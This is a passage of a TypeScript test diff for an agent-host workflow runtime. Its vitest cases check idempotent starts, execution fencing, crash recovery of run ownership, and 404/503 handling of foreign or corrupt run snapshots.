+    if (!claim) throw new Error('missing successful claim');
+    const mutable = {
+      ...claim,
+      owner: { ...claim.owner },
+      binding: { ...claim.binding },
+    };
+    const entered = cDeferred(),
+      release = cDeferred();
+    const fixture = harness(['writer'], {
+      runtime: { startIdempotency: store },
+      resolvePrincipalPermissions: async () => {
+        entered.resolve();
+        await release.promise;
+        return { permissions: [], policyVersion: 'test-v1' };
+      },
+    });
+    const pending = fixture.host.start(fixture.scope, {
+      ...C_START_INPUT,
+      idempotencyKey: claim.key,
+      startReservation: mutable,
+    });
+    const outcome = pending.catch((error: unknown) => error);
+    await entered.promise;
+    Object.assign(mutable, {
+      key: 'replacement-key',
+      targetId: 'replacement-agent',
+      runId: 'replacement-run',
+      updatedAt: claim.updatedAt + 10,
+    });
+    mutable.owner.id = 'replacement-owner';
+    release.resolve();
+    await outcome;
+    expect(await store.readForAdmission(claim.key)).toEqual(claim);
+    expect(mocked.stream.mock.calls[0]?.[7].startReservation).toEqual(claim);
+    await expect(pending).resolves.toMatchObject({ runId: 'acme_run' });
+  });
+});
+
+describe('FS8 D3 host activation custom storage cold recovery', () => {
+  it.each([
+    true,
+    false,
+  ])('recovers a real custom-null result without B2 after lazy factory initialization (threaded=%s)', async (threaded) => {
+    const core = await vi.importActual<typeof import('@mastra/core/mastra')>(
+      '@mastra/core/mastra',
+    );
+    const { InMemoryStore } = await import('@mastra/core/storage');
+    const breakwater = await vi.importActual<
+      typeof import('@proofoftech/breakwater')
+    >('@proofoftech/breakwater');
+    mocked.actualFactory = true;
+    mocked.actualAgent = breakwater.createGuardedAgent({
+      id: 'writer',
+      name: 'Writer',
+      instructions: 'Unused custom recovery agent.',
+      model: 'openai/gpt-4o-mini',
+      allowedRoles: ['operator'],
+      policies: [],
+      audit: new breakwater.AuditLogger(),
+      maxSteps: 1,
+      toolChoice: 'auto',
+    });
+    mocked.mastra.mockImplementation(
+      (configuration) => new core.Mastra(configuration),
+    );
+    const storage = new InMemoryStore();
+    await storage.init();
+    const app = init(
+      { storage },
+      { executionFence: 'none', startIdempotency: 'none' },
+    );
+    const fixture = harness(['writer'], { init: app, storage });
+    const execution = {
+      tablePrefix: null,
+      workflowId: 'durable-agentic-loop',
+      runId: 'acme_run',
+      startToken: 'custom-generation',
+    };
+    const recovery = ownerRecovery('acme_run', {
+      phase: 'prepared-unfenced',
+      execution,
+      threaded,
+    });
+    seedRecoveryState(fixture.state, 'acme_run', recovery, threaded);
+    await fixture.resources.reserveAll(
+      [
+        { kind: 'run', resourceId: 'acme_run' },
+        { kind: 'thread', resourceId: 'acme_thread' },
+        { kind: 'resource', resourceId: RESOURCE_ID },
+      ],
+      HUMAN_OWNER,
+      recovery.token as string,
+    );
+    const workflows = await storage.getStore('workflows');
+    await workflows?.persistWorkflowSnapshot({
+      workflowName: execution.workflowId,
+      runId: execution.runId,
+      snapshot: {
+        runId: execution.runId,
+        status: 'success',
+        result: { value: 'custom' },
+        value: {},
+        context: {},
+        serializedStepGraph: [],
+        activePaths: [],
+        activeStepsPath: {},
+        suspendedPaths: {},
+        resumeLabels: {},
+        waitingPaths: {},
+        timestamp: 123,
+        requestContext: {
+          'flowsafe.runProvenance': {
+            version: 2,
+            startToken: execution.startToken,
+            attemptToken: 'resumed-custom-leg',
+            resumeCounts: [],
+            requestedBy: 'operator-1',
+            requestedByKind: 'human',
+            startIdentity: {
+              owner: HUMAN_OWNER,
+              target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+            },
+            agentStart: { threaded },
+          },
+        },
+      },
+    });
+    const b2 = vi.spyOn(app.runtime, 'recoverStartAttempt');
+    expect(app.runtime.workflowIds()).toEqual([]);
+    await expect(
+      fixture.host.recoverOwnership(fixture.scope),
+    ).resolves.toBeUndefined();
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(b2).not.toHaveBeenCalled();
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+});
+
+describe('FS8 D3 host activation native agent zero admission', () => {
+  async function nativeZeroFixture() {
+    const core = await vi.importActual<typeof import('@mastra/core/mastra')>(
+      '@mastra/core/mastra',
+    );
+    mocked.mastra.mockImplementation((configuration) =>
+      configuration?.workflows ? new core.Mastra(configuration) : undefined,
+    );
+    const sql = openSqlite();
+    const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase &
+      ResourceOwnershipDatabase;
+    const storage = createD1Storage({ binding });
+    await storage.init();
+    const fence = new ExecutionFenceStore(binding);
+    await fence.seed('open');
+    const { StartIdempotencyStore } = await import(
+      '../do-runner/start-idempotency.js'
+    );
+    const reservations = new StartIdempotencyStore(binding);
+    const app = init(
+      { storage },
+      { executionFence: fence, startIdempotency: reservations },
+    );
+    let effects = 0;
+    app
+      .createWorkflow({
+        id: 'durable-agentic-loop',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      })
+      .then(
+        app.createStep({
+          id: 'effect',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+          execute: async () => {
+            effects++;
+            return {};
+          },
+        }),
+      )
+      .commit();
+    const domain = (await storage.getStore(
+      'workflows',
+    )) as FencedWorkflowsStorageD1;
+    const native = domain[FENCED_WORKFLOW_STORAGE];
+    if (!native) throw new Error('missing native capability');
+    let closeOnce = true;
+    Object.defineProperty(domain, FENCED_WORKFLOW_STORAGE, {
+      value: {
+        ...native,
+        withInitialAdmission: async (
+          input: Parameters<typeof native.withInitialAdmission>[0],
+          create: Parameters<typeof native.withInitialAdmission>[1],
+        ) => {
+          if (closeOnce) {
+            closeOnce = false;
+            await fence.transition({ expected: 'open', next: 'draining' });
+          }
+          return native.withInitialAdmission(input, create);
+        },
+      },
+      configurable: true,
+    });
+    const fixture = harness(['writer'], {
+      init: app,
+      storage,
+      resourceAccess: new D1ResourceOwnershipStore(binding),
+    });
+    mocked.stream.mockImplementation(
+      async (
+        ...args: Parameters<FlowsafeDurableAgent['streamUntilPersisted']>
+      ) => {
+        const [
+          ,
+          options,
+          requestedBy,
+          requestedByKind,
+          attemptToken,
+          scheduleDispatch,
+          idempotencyKey,
+          authority,
+        ] = args;
+        const runId = options.runId;
+        if (typeof runId !== 'string')
+          throw new Error('host omitted its runId');
+        await app.runtime.start('durable-agentic-loop', {
+          runId,
+          inputData: {},
+          storedRequestContext: Object.fromEntries(
+            options.requestContext?.entries() ?? [],
+          ),
+          requestedBy,
+          requestedByKind,
+          attemptToken,
+          scheduleDispatch,
+          idempotencyKey,
+          mutationEpoch: authority.mutationEpoch,
+          startIdentity: authority.startIdentity,
+          agentStart: authority.agentStart,
+          onPreparedStartIdentity: authority.onPreparedStartIdentity,
+          runOwnerGuard: authority.runOwnerGuard,
+          startReservation: authority.startReservation,
+        });
+        return {};
+      },
+    );
+    const claim = async () => {
+      const reserved = await reservations.reserve({
+        key: 'agent-zero-key',
+        owner: HUMAN_OWNER,
+        targetKind: 'agent',
+        targetId: 'writer',
+        threadId: 'acme_thread',
+        mintRunId: () => 'acme_run',
+      });
+      const result = await reservations.claimReservation(reserved.reservation);
+      if (!result) throw new Error('missing agent claim');
+      return result;
+    };
+    return {
+      fixture,
+      app,
+      storage,
+      sql,
+      domain,
+      native,
+      fence,
+      reservations,
+      claim,
+      effects: () => effects,
+      refuseNext: () => {
+        closeOnce = true;
+      },
+    };
+  }
+
+  it('preserves H rows when non-owning recovery races a held native zero frame', async () => {
+    const fixture = await nativeZeroFixture();
+    const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime);
+    const entered = cDeferred();
+    const release = cDeferred();
+    vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce(
+      async (...args) => {
+        try {
+          return await nativeStart(...args);
+        } catch (error) {
+          entered.resolve();
+          await release.promise;
+          throw error;
+        }
+      },
+    );
+    const starting = fixture.fixture.host.start(
+      fixture.fixture.scope,
+      C_START_INPUT,
+    );
+    const settled = starting.catch((error: unknown) => error);
+    await entered.promise;
+    const owners = fixture.sql
+      .prepare(
+        'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id',
+      )
+      .all();
+    const state = structuredClone(fixture.fixture.state);
+    try {
+      const outcome = await fixture.fixture.host
+        .recoverOwnership(fixture.fixture.scope)
+        .catch((error: unknown) => error);
+      expect(
+        fixture.sql
+          .prepare(
+            'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id',
+          )
+          .all(),
+      ).toEqual(owners);
+      expect(fixture.fixture.state).toEqual(state);
+      expect(fixture.effects()).toBe(0);
+      expect(outcome).toMatchObject({
+        status: 503,
+        reason: { code: 'RUN_START_PENDING' },
+      });
+    } finally {
+      release.resolve();
+      await settled;
+    }
+  });
+
+  it.each([
+    'lookalike',
+    'serialized',
+    'foreign generation',
+    'evicted frame',
+  ] as const)('retains agent prepared absence without native local zero authority (%s)', async (mode) => {
+    const fixture = await nativeZeroFixture();
+    const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime);
+    let originalFailure: unknown;
+    let foreignExecution:
+      | import('../do-runner/execution-admission.js').RunExecutionIdentity
+      | undefined;
+    let prepared: unknown;
+    const put = fixture.fixture.stateStorage.put.bind(
+      fixture.fixture.stateStorage,
+    );
+    vi.spyOn(fixture.fixture.stateStorage, 'put').mockImplementation(
+      async (key, value) => {
+        await put(key, value);
+        if (
+          key === TEST_OWNER_RECOVERY_KEY &&
+          (value as { phase?: string }).phase === 'prepared'
+        )
+          prepared = structuredClone(value);
+      },
+    );
+    vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce(
+      async (...args) => {
+        try {
+          return await nativeStart(...args);
+        } catch (error) {
+          originalFailure = error;
+          if (mode === 'foreign generation') {
+            await fixture.fence.transition({
+              expected: 'draining',
+              next: 'open',
+            });
+            fixture.refuseNext();
+            await nativeStart('durable-agentic-loop', {
+              runId: 'acme_run',
+              onPreparedStartIdentity: (identity) => {
+                foreignExecution = identity;
+              },
+              inputData: {},
+              requestedBy: 'operator-1',
+              requestedByKind: 'human',
+            });
+            throw new Error('foreign native zero unexpectedly succeeded');
+          }
+          if (mode === 'lookalike') {
+            const { ExecutionFencedError } = await import(
+              '../do-runner/execution-fence.js'
+            );
+            throw new ExecutionFencedError('draining', 'run start');
+          }
+          throw Object.assign(
+            new Error('serialized zero receipt'),
+            JSON.parse(
+              JSON.stringify({
+                status: (error as { status?: number }).status,
+                reason: (error as { reason?: unknown }).reason,
+              }),
+            ),
+          );
+        }
+      },
+    );
+    const claim = await fixture.claim();
+    const first = await fixture.fixture.host
+      .start(fixture.fixture.scope, {
+        ...C_START_INPUT,
+        idempotencyKey: claim.key,
+        startReservation: claim,
+      })
+      .catch((error: unknown) => error);
+    expect(fixture.fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+      prepared,
+    );
+    expect(fixture.fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.fixture.state.has(THREAD_BINDING_KEY)).toBe(true);
+    expect(
+      await fixture.native.readSnapshot({
+        workflowId: 'durable-agentic-loop',
+        runId: 'acme_run',
+      }),
+    ).toBeUndefined();
+    expect(fixture.effects()).toBe(0);
+    if (mode === 'foreign generation') {
+      expect(foreignExecution).toMatchObject({
+        workflowId: 'durable-agentic-loop',
+        runId: 'acme_run',
+      });
+      expect(foreignExecution?.startToken).not.toBe(
+        (prepared as { execution: { startToken: string } }).execution
+          .startToken,
+      );
+    }
+    expect(first).toBeInstanceOf(Error);
+    if (mode === 'evicted frame') {
+      const { isDefinitiveInitialAdmissionRefusal } = await import(
+        '../do-runner/initial-admission-refusal.js'
+      );
+      expect(
+        isDefinitiveInitialAdmissionRefusal(
+          originalFailure,
+          (
+            prepared as {
+              execution: import('../do-runner/execution-admission.js').D1RunExecutionIdentity;
+            }
+          ).execution,
+        ),
+      ).toBe(true);
+      const coldHost = createThreadAgentHost({
+        buildModules: () => [
+          {
+            meta: {
+              id: 'writer',
+              title: 'Writer',
+              description: 'Cold zero fixture',
+              allowedRoles: ['operator'],
+            },
+            agent: guarded(),
+          },
+        ],
+        storage: () => fixture.storage,
+        stateStorage: () => fixture.fixture.stateStorage,
+        resourceAccess: () => fixture.fixture.resourceAccess,
+        approvalService: () => {
+          throw new Error('unexpected cold approval');
+        },
+      });
+      const cold = await coldHost
+        .recoverOwnership(fixture.fixture.scope)
+        .catch((error: unknown) => error);
+      expect(fixture.fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+        prepared,
+      );
+      expect(fixture.fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+      expect(fixture.fixture.state.has(THREAD_BINDING_KEY)).toBe(true);
+      expect(cold).toMatchObject({ status: 503 });
+    }
+    const beforeClaim = await fixture.reservations.readForAdmission(claim.key);
+    await fixture.fence.transition({ expected: 'draining', next: 'open' });
+    const retry = await fixture.fixture.host
+      .start(fixture.fixture.scope, {
+        ...C_START_INPUT,
+        idempotencyKey: claim.key,
+        startReservation: claim,
+      })
+      .catch((error: unknown) => error);
+    expect(fixture.fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+      prepared,
+    );
+    expect(fixture.fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(await fixture.reservations.readForAdmission(claim.key)).toEqual(
+      beforeClaim,
+    );
+    expect(fixture.effects()).toBe(0);
+    expect(retry).toMatchObject({ status: 503 });
+  });
+
+  it.each([
+    true,
+    false,
+  ])('clears local agent bookkeeping only after native zero proof and executes one retry (threaded=%s)', async (threaded) => {
+    const { fixture, native, fence, reservations, claim, effects } =
+      await nativeZeroFixture();
+    const firstClaim = await claim();
+    const outcome = await fixture.host
+      .start(fixture.scope, {
+        ...C_START_INPUT,
+        threaded,
+        idempotencyKey: firstClaim.key,
+        startReservation: firstClaim,
+      })
+      .catch((error: unknown) => error);
+    expect(
+      await native.readSnapshot({
+        workflowId: 'durable-agentic-loop',
+        runId: 'acme_run',
+      }),
+    ).toBeUndefined();
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(false);
+    expect(await reservations.readForAdmission('agent-zero-key')).toMatchObject(
+      { state: 'reserved', binding: { kind: 'unbound' } },
+    );
+    expect(effects()).toBe(0);
+    expect(outcome).toMatchObject({ status: 503 });
+    await fence.transition({ expected: 'draining', next: 'open' });
+    const nextClaim = await claim();
+    await expect(
+      fixture.host.start(fixture.scope, {
+        ...C_START_INPUT,
+        threaded,
+        idempotencyKey: nextClaim.key,
+        startReservation: nextClaim,
+      }),
+    ).resolves.toMatchObject({
+      runId: 'acme_run',
+      summary: { status: 'success' },
+    });
+    expect(effects()).toBe(1);
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+  });
+});
+
+describe('FS8 D3 host activation explicit legacy observation', () => {
+  it.each([
+    null,
+    3,
+    [],
+  ])('refuses present malformed provenance before public legacy fallback (%j)', async (provenance) => {
+    const fixture = harness(['writer'], {
+      runtime: {
+        authoritativeStartState: vi.fn(async () => {
+          throw new RunStateUnreadableError('durable-agentic-loop', 'acme_run');
+        }),
+      },
+    });
+    fixture.setSnapshot({
+      requestContext: { 'flowsafe.runProvenance': provenance },
+    });
+    fixture.setSummary({ runId: 'acme_run', status: 'success' });
+    const record = {
+      version: 2,
+      agentId: 'writer',
+      principal: fixture.scope.principal,
+      originEntryPath: 'http.start',
+    };
+    fixture.state.set(TEST_RUN_RECORD_KEY, record);
+    const outcome = await fixture.host
+      .route(
+        new Request(
+          `https://thread/_flowsafe/agent-host/runs/writer/acme_run?resourceId=${RESOURCE_ID}`,
+        ),
+        fixture.scope,
+      )
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record);
+    expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+    expect(doErrorResponse(outcome).status).toBe(503);
+  });
+});
+
+async function hostR1AgentFixture(
+  input: {
+    mode?: 'custom-null' | 'actual-prefix' | 'fenced';
+    provenance?: 'v1' | 'absent' | 'modern';
+    status?: 'pending' | 'suspended' | 'success' | 'cancelled';
+    threaded?: boolean;
+    keyed?: boolean;
+    wired?: boolean;
+    journal?: boolean;
+    lifecycle?: boolean;
+    snapshotTarget?: { agentId: string; threadId: string };
+  } = {},
+) {
+  const core = await vi.importActual<typeof import('@mastra/core/mastra')>(
+    '@mastra/core/mastra',
+  );
+  const { InMemoryStore } = await import('@mastra/core/storage');
+  const breakwater = await vi.importActual<
+    typeof import('@proofoftech/breakwater')
+  >('@proofoftech/breakwater');
+  mocked.actualFactory = true;
+  mocked.actualAgent = breakwater.createGuardedAgent({
+    id: 'writer',
+    name: 'Writer',
+    instructions: 'Unused host regression agent.',
+    model: 'openai/gpt-4o-mini',
+    allowedRoles: ['operator'],
+    policies: [],
+    audit: new breakwater.AuditLogger(),
+    maxSteps: 1,
+    toolChoice: 'auto',
+  });
+  mocked.mastra.mockImplementation(
+    (configuration) => new core.Mastra(configuration),
+  );
+  const mode = input.mode ?? 'actual-prefix';
+  const threaded = input.threaded ?? true;
+  const status = input.status ?? 'suspended';
+  const version = input.provenance ?? 'v1';
+  const sql = openSqlite() as ReturnType<typeof openSqlite> & { close(): void };
+  const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase &
+    ResourceOwnershipDatabase;
+  const storage =
+    mode === 'custom-null'
+      ? new InMemoryStore()
+      : createD1Storage({ binding, tablePrefix: 'host_r1_' });
+  await storage.init();
+  const { StartIdempotencyStore } = await import(
+    '../do-runner/start-idempotency.js'
+  );
+  const reservations = new StartIdempotencyStore(binding);
+  const fence = new ExecutionFenceStore(binding);
+  await fence.seed('open');
+  const app = init(
+    { storage },
+    {
+      executionFence: mode === 'fenced' ? fence : 'none',
+      startIdempotency: input.wired === false ? 'none' : reservations,
+    },
+  );
+  const resources = new D1ResourceOwnershipStore(binding);
+  const approvals = {
+    list: vi.fn(async () => [] as ApprovalRecord[]),
+    createAsPrincipal: vi.fn(async () => {
+      throw new Error('unexpected approval creation');
+    }),
+    supersedeStaleAsPrincipal: vi.fn<
+      ApprovalService['supersedeStaleAsPrincipal']
+    >(async () => null),
+  };
+  const dispatch = vi.fn(async () => {});
+  const fixture = harness(['writer'], {
+    storage,
+    init: app,
+    resourceAccess: resources,
+    approvalService: approvals as unknown as ApprovalService,
+    discardScheduleDispatch: dispatch,
+  });
+  const execution = {
+    tablePrefix: mode === 'custom-null' ? null : 'host_r1_',
+    workflowId: 'durable-agentic-loop',
+    runId: 'acme_run',
+    startToken: 'host-r1-generation',
+  };
+  let claim:
+    | import('../do-runner/start-reservation-contract.js').StartReservationReading
+    | undefined;
+  if (input.keyed) {
+    const reserved = await reservations.reserve({
+      key: 'host-r1-key',
+      owner: HUMAN_OWNER,
+      targetKind: 'agent',
+      targetId: 'writer',
+      threadId: 'acme_thread',
+      mintRunId: () => 'acme_run',
+    });
+    claim = await reservations.claimReservation(reserved.reservation);
+    if (!claim) throw new Error('missing host claim');
+    await reservations.bindPreparedStart(claim, {
+      ...execution,
+      owner: HUMAN_OWNER,
+      target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+    });
+  }
+  const recovery = ownerRecovery('acme_run', {
+    phase: mode === 'fenced' ? 'prepared' : 'prepared-unfenced',
+    token: 'host-r1-attempt',
+    execution,
+    threaded,
+    ...(claim ? { startReservation: claim } : {}),
+  });
+  seedRecoveryState(fixture.state, 'acme_run', recovery, threaded);
+  if (!input.journal) fixture.state.delete(TEST_OWNER_RECOVERY_KEY);
+  await resources.reserveAll(
+    [
+      { kind: 'run', resourceId: 'acme_run' },
+      { kind: 'thread', resourceId: 'acme_thread' },
+      { kind: 'resource', resourceId: RESOURCE_ID },
+    ],
+    HUMAN_OWNER,
+    recovery.token as string,
+  );
+  if (!input.journal)
+    await resources.settleReservation(recovery.token as string, []);
+  const workflows = await storage.getStore('workflows');
+  if (!workflows) throw new Error('missing host workflow domain');
+  const snapshotAgentId = input.snapshotTarget?.agentId ?? 'writer';
+  const snapshotThreadId = input.snapshotTarget?.threadId ?? 'acme_thread';
+  const snapshotResourceId = resourceIdFromKey(snapshotThreadId);
+  const snapshot: import('@mastra/core/workflows').WorkflowRunState = {
+    runId: 'acme_run',
+    status:
+      status as import('@mastra/core/workflows').WorkflowRunState['status'],
+    value: {},
+    context: {
+      input: {
+        agentId: snapshotAgentId,
+        messageListState: {
+          memoryInfo: threaded
+            ? { threadId: snapshotThreadId, resourceId: snapshotResourceId }
+            : null,
+        },
+      },
+    } as unknown as import('@mastra/core/workflows').WorkflowRunState['context'],
+    serializedStepGraph: [],
+    activePaths: [],
+    activeStepsPath: {},
+    suspendedPaths: {},
+    resumeLabels: {},
+    waitingPaths: {},
+    timestamp: 123,
+    requestContext: {
+      runId: 'acme_run',
+      threadId: snapshotThreadId,
+      resourceId: snapshotResourceId,
+      'breakwater.auditContext': {
+        agentId: snapshotAgentId,
+        threadId: snapshotThreadId,
+        resourceId: snapshotResourceId,
+      },
+      ...(version === 'absent'
+        ? {}
+        : {
+            'flowsafe.runProvenance':
+              version === 'v1'
+                ? {
+                    version: 1,
+                    attemptToken: 'host-r1-legacy-leg',
+                    requestedBy: 'operator-1',
+                    requestedByKind: 'human',
+                    resumeCounts: [],
+                  }
+                : {
+                    version: 2,
+                    startToken: execution.startToken,
+                    attemptToken: recovery.token,
+                    requestedBy: 'operator-1',
+                    requestedByKind: 'human',
+                    resumeCounts: [],
+                    startIdentity: {
+                      owner: HUMAN_OWNER,
+                      target: {
+                        kind: 'agent',
+                        id: snapshotAgentId,
+                        threadId: snapshotThreadId,
+                      },
+                    },
+                    agentStart: { threaded },
+                  },
+          }),
+      ...(input.lifecycle
+        ? {
+            'flowsafe.runLifecycle': {
+              version: 1,
+              revision: 2,
+              terminal: {
+                status: 'cancelled',
+                error: { code: 'CANCELLED', message: 'run was cancelled' },
+                transitionedAt: 10,
+                replayPrincipals: [HUMAN_OWNER],
+              },
+              scheduleDispatch: {
+                scheduleId: SCHEDULE_ID,
+                dispatchId: DISPATCH_ID,
+              },
+            },
+          }
+        : {}),
+    },
+  };
+  const persist = async (value = snapshot) =>
+    workflows.persistWorkflowSnapshot({
+      workflowName: execution.workflowId,
+      runId: execution.runId,
+      snapshot: value,
+    });
+  await persist();
+  const read = () =>
+    workflows.loadWorkflowSnapshot({
+      workflowName: execution.workflowId,
+      runId: execution.runId,
+    });
+  const owners = () =>
+    sql
+      .prepare(
+        'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id',
+      )
+      .all();
+  return {
+    ...fixture,
+    storage,
+    app,
+    sql,
+    workflows,
+    resources,
+    reservations,
+    claim,
+    fence,
+    execution,
+    recovery,
+    snapshot,
+    persist,
+    read,
+    owners,
+    approvals,
+    dispatch,
+  };
+}
+
+function hostR1AgentRequest(suffix = '', query = '') {
+  return new Request(
+    `https://thread/_flowsafe/agent-host/runs/writer/acme_run${suffix}?resourceId=${RESOURCE_ID}${query}`,
+    suffix ? { method: 'POST' } : undefined,
+  );
+}
+
+describe('agent host selector lookup isolation', () => {
+  it.each([
+    ['modern', true, 'status'],
+    ['modern', false, 'stream'],
+    ['modern', true, 'terminate'],
+    ['v1', false, 'status'],
+    ['v1', true, 'stream'],
+    ['v1', false, 'terminate'],
+    ['absent', true, 'status'],
+    ['absent', false, 'stream'],
+    ['absent', true, 'terminate'],
+  ] as const)('maps a coherent foreign snapshot to public 404 without effects (%s threaded=%s %s)', async (provenance, threaded, route) => {
+    const f = await hostR1AgentFixture({
+      provenance,
+      threaded,
+      keyed: true,
+      snapshotTarget: { agentId: 'other-agent', threadId: 'other-thread' },
+    });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    const capability = (f.workflows as FencedWorkflowsStorageD1)[
+      FENCED_WORKFLOW_STORAGE
+    ];
+    if (!capability) throw new Error('missing native observation');
+    const read = vi.fn(capability.readSnapshot.bind(capability));
+    Object.defineProperty(f.workflows, FENCED_WORKFLOW_STORAGE, {
+      value: { ...capability, readSnapshot: read },
+      configurable: true,
+    });
+    const cancel = vi.spyOn(f.app.runtime, 'cancelActiveExecution');
+    const terminate = vi.spyOn(f.app.runtime, 'terminateAsPrincipal');
+    const cleanup = vi.spyOn(f.app.runtime, 'completeTerminalCleanup');
+    const settle = vi.spyOn(f.resources, 'settleReservation');
+    const resume = vi.spyOn(FlowsafeDurableAgent.prototype, 'resumeViaRuntime');
+    const observe = vi.spyOn(FlowsafeDurableAgent.prototype, 'observe');
+    const owners = f.owners();
+    const state = structuredClone(f.state);
+    const claim = await f.reservations.readForAdmission('host-r1-key');
+    const suffix = route === 'status' ? '' : `/${route}`;
+    const request = new Request(
+      `https://thread/_flowsafe/agent-host/runs/writer/acme_run${suffix}?resourceId=${RESOURCE_ID}`,
+      {
+        method: route === 'terminate' ? 'POST' : 'GET',
+      },
+    );
+    const outcome = await f.host
+      .route(request, f.scope)
+      .catch((error) => error);
+    expect(outcome).toMatchObject({ status: 404, message: 'run not found' });
+    expect(doErrorResponse(outcome).status).toBe(404);
+    expect(read).toHaveBeenCalledOnce();
+    expect(cancel).not.toHaveBeenCalled();
+    expect(terminate).not.toHaveBeenCalled();
+    expect(cleanup).not.toHaveBeenCalled();
+    expect(settle).not.toHaveBeenCalled();
+    expect(resume).not.toHaveBeenCalled();
+    expect(observe).not.toHaveBeenCalled();
+    expect(f.approvals.list).not.toHaveBeenCalled();
+    expect(f.approvals.createAsPrincipal).not.toHaveBeenCalled();
+    expect(f.dispatch).not.toHaveBeenCalled();
+    expect(f.owners()).toEqual(owners);
+    expect(f.state).toEqual(state);
+    expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(claim);
+  });
+
+  it.each([
+    'modern',
+    'v1',
+    'absent',
+  ] as const)('keeps a corrupt foreign public lookup unreadable: %s', async (provenance) => {
+    const f = await hostR1AgentFixture({
+      provenance,
+      snapshotTarget: { agentId: 'other-agent', threadId: 'other-thread' },
+    });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    Object.assign(f.snapshot.requestContext ?? {}, {
+      'breakwater.auditContext': { agentId: 'contradiction' },
+    });
+    await f.persist();
+    const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState');
+    const before = structuredClone(f.state);
+    const outcome = await f.host
+      .route(hostR1AgentRequest(), f.scope)
+      .catch((error) => error);
+    expect(outcome).toBeInstanceOf(RunStateUnreadableError);
+    expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError);
+    expect(doErrorResponse(outcome).status).toBe(503);
+    expect(selected).toHaveBeenCalledOnce();
+    expect(f.state).toEqual(before);
+    expect(f.approvals.list).not.toHaveBeenCalled();
+    expect(f.dispatch).not.toHaveBeenCalled();
+  });
+
+  it('checks ordinary termination again inside its dispatch lock after storage changes', async () => {
+    const f = await hostR1AgentFixture({ provenance: 'modern' });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState');
+    const cancel = vi
+      .spyOn(f.app.runtime, 'cancelActiveExecution')
+      .mockImplementation(async () => {
+        const context = f.snapshot.requestContext;
+        if (!context) throw new Error('missing snapshot context');
+        context['flowsafe.runProvenance'].startIdentity.target.threadId =
+          'other-thread';
+        Object.assign(context, {
+          threadId: 'other-thread',
+          resourceId: 'other-thread',
+        });
+        Object.assign(context['breakwater.auditContext'], {
+          threadId: 'other-thread',
+          resourceId: 'other-thread',
+        });
+        const input = f.snapshot.context.input as unknown as {
+          messageListState: { memoryInfo: object };
+        };
+        Object.assign(input.messageListState.memoryInfo, {
+          threadId: 'other-thread',
+          resourceId: 'other-thread',
+        });
+        await f.persist();
+        return false;
+      });
+    const terminate = vi.spyOn(f.app.runtime, 'terminateAsPrincipal');
+    const before = structuredClone(f.state);
+    const outcome = await f.host
+      .route(hostR1AgentRequest('/terminate'), f.scope)
+      .catch((error) => error);
+    expect(outcome).toMatchObject({ status: 404 });
+    expect(selected).toHaveBeenCalledTimes(2);
+    expect(cancel).toHaveBeenCalledOnce();
+    expect(terminate).not.toHaveBeenCalled();
+    expect(f.state).toEqual(before);
+    expect(f.approvals.list).not.toHaveBeenCalled();
+    expect(f.dispatch).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'status',
+    'stream',
+    'terminate',
+  ] as const)('does not reread a selected absent row for public %s', async (route) => {
+    const f = await hostR1AgentFixture({ provenance: 'modern' });
+    onTestFinished(() => {
+      vi.restoreAllMocks();
+      f.sql.close();
+    });
+    await f.workflows.deleteWorkflowRunById({
+      workflowName: f.execution.workflowId,
+      runId: f.execution.runId,
+    });
+    const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState');
+    const request = new Request(
+      `https://thread/_flowsafe/agent-host/runs/writer/acme_run${route === 'status' ? '' : `/${route}`}?resourceId=${RESOURCE_ID}`,
+      { method: route === 'terminate' ? 'POST' : 'GET' },
+    );
+    const outcome = await f.host
+      .route(request, f.scope)
+      .catch((error) => error);
+    expect(outcome).toMatchObject({ status: 404 });
+    expect(selected).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'replay',
+    'dispatch',
+    'terminate replay',
+    'resume',
+    'schedule dispatch',
+    'blocking',
+    'proof',
+  ] as const)('keeps a coherent foreign row present on the strict %s path', async (route) => {
+    const f = await hostR1AgentFixture({
+      provenance: 'modern',
+      keyed: true,
